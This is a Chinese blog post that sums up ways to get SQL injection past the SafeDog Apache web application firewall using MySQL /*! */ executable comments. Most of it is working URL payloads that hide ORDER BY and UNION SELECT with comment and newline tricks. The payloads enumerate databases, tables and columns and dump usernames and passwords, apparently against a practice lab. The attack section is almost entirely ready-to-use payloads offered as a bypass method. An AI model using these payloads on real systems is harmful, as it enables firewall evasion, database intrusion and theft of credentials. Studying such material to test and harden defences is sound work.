SQL注入 安全狗绕过

0x00 前言

最近看了几篇关于安全狗 Bypass 的文章,绕过方式五花八门。在此以安全狗 apache4.0.30255 为例,简单做个总结。

0x01 相关知识

/* … */ 在大部分语言中都是一种注释,处于 /* … */ 之中的语句是不被执行的。但 MySQL 为了保证兼容性,比如要求从 mysqldump 导出的 SQL 语句能被其它数据库直接使用,它把一些特有的仅在 MySQL 上能执行的语句放在 /*! … */ 中,这样这些语句在其它数据库中就不会被当作执行语句,但在 MySQL 中它会执行。

In a word,/* */ 在 MySQL 里代表多行注释,它是 SQL 的标准。但是 MySQL 扩宽了注释的功能,如果在开头的 /* 后头加入 !,那么此注释里的语句还将被推行。

举个栗子:

mysql> /*! select * from test */;
+------+
| id   |
+------+
|    1 |
|    2 |
|    3 |
+------+
3 rows in set (0.00 sec)

再看如下语句:

/*!50001 select * from test */;

这里 50001 表示数据库版本号,该语句只有在 5.00.01 以上版本的数据库中才会被执行。

0x02 Bypass

  • ordey by
?id=1' order /*//--/*/ by 10 --+
  • union select

union select => union/*//--/*/select

?id=-1' union /*//--/*/     /*!--+/*%0aselect/*!1,2,3*/  --+
  • database()

union select 1,2,3 => union /*!--+/*%0aselect/*!1,2,*/ 3

?id=-1' union /*//--/*/     /*!--+/*%0aselect/*!1,2,*/database /*//--/*/ ()  --+
  • 获取其他的库
?id=-1' union   /*!--+/*%0aselect/*!1,2,*/  group_concat(schema_name)    /*!from*/    /*!--+/*%0ainformation_schema./*!schemata*/ --+
  • 一次性获取所有的表
?id=-1' union /*!--+/*%0aselect/*!1,2,*/  group_concat(table_name)    /*!from*/     /*!--+/*%0ainformation_schema./*!tables*/ where table_schema='security' --+
  • 一次性获取所有的字段
?id=-1' union /*!--+/*%0aselect/*!1,2,*/  group_concat(column_name)    /*!from*/     /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+
  • 一次性获取字段里面的值
?id=-1' union /*!--+/*%0aselect/*!1,2,*/  group_concat(concat_ws(0x7e,username, password))     /*!from*/    security.users --+

0x03 Summary

总结不出什么具体规律,总的来说就是结合 /*!*/、/**/、–+、%0a、%23,花里胡哨就完事。

0x04 Reference

星期五实验室 SQL注入安全狗Aache绕过
https://www.cnblogs.com/itcomputer/articles/5253263.html

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值